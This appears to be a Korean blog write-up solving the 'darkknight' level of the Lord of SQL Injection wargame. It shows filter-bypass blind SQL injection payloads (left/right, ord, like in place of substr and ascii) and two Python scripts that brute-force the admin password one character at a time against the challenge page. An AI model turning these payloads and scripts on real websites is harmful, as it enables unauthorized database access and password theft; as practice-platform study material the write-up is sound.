ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • <Lord of SQL Injection> darkknight
    Wargame/Lord of SQL Injection 2021. 11. 13. 18:51

    darkknight

    'no'로 전달받은 값은 'prob', '_', '.', '()', 싱글 쿼터('), 'substr', 'ascii'를 필터링한다.

    'pw'로 전달받은 값은 싱글 쿼터(')를 필터링한다.

     

    참인 값인 ?pw=&no="" or 1을 입력하면

    "Hello guest"를 출력한다.

    거짓인 값을 입력하면 아무것도 출력하지 않는다.

    참과 거짓만을 구분하므로 Blind SQL Injection을 수행할 수 있다.

     

    이를 통해 pw의 길이를 알아보기 위해

    ?pw=&no="" or length(pw) < 10을 입력하면

    pw의 길이가 10보다 작은 것을 확인할 수 있다.

     

    ?pw=&no="" or length(pw) like 8을 통해

    pw의 길이가 8인 것을 확인할 수 있다.

     

    이제 한 글자씩 찾아야한다.

    'substr'이 필터링되는 경우, 'right'와 'left'를 섞어 한 글자씩 찾을 수 있다.

    -- LEFT(문자열,길이)
    LEFT("woong",2)  -- wo
    
    -- RIGHT(문자열,길이)
    RIGHT("woong",2)  -- ng

    right(left("woong",n),1)을 하면 "woong"을 왼쪽에서 n만큼 가져오고, 가장 오른쪽 문자를 가져온다.

    이를 통해 한 문자씩 가져올 수 있다.

     

    따라서, ?pw=&no="" or ord(right(left(pw,1),1)) like 48을 입력하면

    pw의 첫 글자가 0으로 시작하는 것을 확인할 수 있다.

     

    그럼 파이썬 코드를 통해 나머지 글자도 구할 수 있다.

    import requests
    
    pw = ''
    baseurl = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
    want_str = "<h2>Hello admin</h2>"
    
    for i in range(1, 9):
        for j in range(33, 128):
            url = baseurl + '?pw=&no="" or ord(right(left(pw,{}),1)) like {}'.format(i,j)
            cookies = {'PHPSESSID' : 'PHPSESSID 값'}
            res = requests.get(url=url, cookies=cookies)
    
            if want_str in res.text:
                pw += chr(j)
                print("{} : {}".format(i, chr(j)))
                break
    print("pw : ", pw)

    위 코드를 실행하면 마지막 8번째의 글자가 출력되지 않는다. 코드에 문제가 있나 해서,

    쿼리문을 '?pw=&no="" or ord(right(pw,1)) like {}'.format(j)으로 따로 실행해보았다.

    import requests
    
    pw = ''
    baseurl = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
    want_str = "<h2>Hello admin</h2>"
    
    for i in range(1, 8):
        for j in range(33, 128):
            url = baseurl + '?pw=&no="" or ord(right(left(pw,{}),1)) like {}'.format(i,j)
            cookies = {'PHPSESSID' : '3ubnstfgsb3tlfugvfmuo2snm4'}
            res = requests.get(url=url, cookies=cookies)
    
            if want_str in res.text:
                pw += chr(j)
                print("{} : {}".format(i, chr(j)))
                break
    
    for j in range(33, 128):
        url = baseurl + '?pw=&no="" or ord(right(pw,1)) like {}'.format(j)
        res = requests.get(url=url, cookies=cookies)
        
        if want_str in res.text:
                pw += chr(j)
                print("8 : {}".format(chr(j)))
                break
            
    print("pw : ", pw)

    따로 실행하니 8번째 문자까지 출력되었다.

    이 문제는 문제가 풀리게 되면 'Clear!' 문구만 출력하지, 'Hello admin'을 출력하지 않았다.

    따라서, 원래 코드에서 8번째 문자가 출력되지 않았다.

     

     

    'Wargame > Lord of SQL Injection' 카테고리의 다른 글

    <Lord of SQL Injection> bugbear  (0) 2021.11.15
    <Lord of SQL Injection> skeleton  (0) 2021.11.14
    <Lord of SQL Injection> golem  (0) 2021.11.13
    <Lord of SQL Injection> vampire  (0) 2021.11.13
    <Lord of SQL Injection> troll  (0) 2021.11.12
Designed by Tistory.